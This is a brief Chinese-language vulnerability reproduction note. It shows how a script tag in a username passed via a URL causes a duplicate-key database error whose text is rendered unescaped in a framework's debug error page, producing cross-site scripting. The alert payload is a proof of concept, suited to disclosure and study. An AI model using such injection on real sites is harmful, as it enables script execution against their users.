漏洞复现： 1.创建个用户：ip:8000/create_user/?username=<script>alert(7)</script> 显示用户已创建。 2.触发漏洞，再次访问ip:8000/create_user/?username=<script>alert(7)</script> 3.触发异常：duplicate key value violates unique constraint "xss_user_username_key" DETAIL: Key (username)=(<script>alert(7)</script>) already exists. 4.这个异常被拼接进The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception，最后触发XSS。
